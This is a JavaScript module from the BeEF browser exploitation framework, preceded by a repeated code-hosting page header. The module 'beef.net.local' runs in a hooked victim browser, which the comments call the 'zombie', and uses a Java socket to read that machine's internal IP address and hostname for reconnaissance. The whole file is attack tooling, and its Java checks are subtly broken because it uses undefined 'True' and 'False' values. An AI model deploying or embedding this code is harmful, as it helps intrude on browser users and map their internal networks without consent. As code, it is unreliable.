99 lines
2.6 KiB
JavaScript
99 lines
2.6 KiB
JavaScript
//
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// Copyright 2012 Wade Alcorn wade@bindshell.net
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//
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// Licensed under the Apache License, Version 2.0 (the "License");
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// you may not use this file except in compliance with the License.
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// You may obtain a copy of the License at
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//
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// http://www.apache.org/licenses/LICENSE-2.0
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//
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// Unless required by applicable law or agreed to in writing, software
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// distributed under the License is distributed on an "AS IS" BASIS,
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// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
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// See the License for the specific language governing permissions and
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// limitations under the License.
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//
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/*!
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* @literal object: beef.net.local
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*
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* Provides networking functions for the local/internal network of the zombie.
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*/
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beef.net.local = {
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sock: false,
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checkJava: false,
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hasJava: false,
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/**
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* Initializes the java socket. We have to use this method because
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* some browsers do not have java installed or it is not accessible.
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* in which case creating a socket directly generates an error. So this code
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* is invalid:
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* sock: new java.net.Socket();
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*/
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initializeSocket: function() {
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if(this.checkJava){
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if(!beef.browser.hasJava()) {
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this.checkJava=True;
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this.hasJava=False;
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return -1;
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}else{
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this.checkJava=True;
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this.hasJava=True;
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return 1;
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}
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}
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else{
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if(!this.hasJava) return -1;
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else{
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try {
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this.sock = new java.net.Socket();
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} catch(e) {
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return -1;
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}
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return 1;
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}
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}
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},
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/**
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* Returns the internal IP address of the zombie.
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* @return: {String} the internal ip of the zombie.
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* @error: return -1 if the internal ip cannot be retrieved.
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*/
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getLocalAddress: function() {
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if(!this.hasJava) return false;
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this.initializeSocket();
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try {
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this.sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));
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this.sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port)?80:document.location.port));
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return this.sock.getLocalAddress().getHostAddress();
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} catch(e) { return false; }
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},
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/**
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* Returns the internal hostname of the zombie.
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* @return: {String} the internal hostname of the zombie.
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* @error: return -1 if the hostname cannot be retrieved.
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*/
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getLocalHostname: function() {
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if(!this.hasJava) return false;
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this.initializeSocket();
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try {
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this.sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));
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this.sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port)?80:document.location.port));
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return this.sock.getLocalAddress().getHostName();
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} catch(e) { return false; }
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}
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};
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beef.regCmp('beef.net.local');
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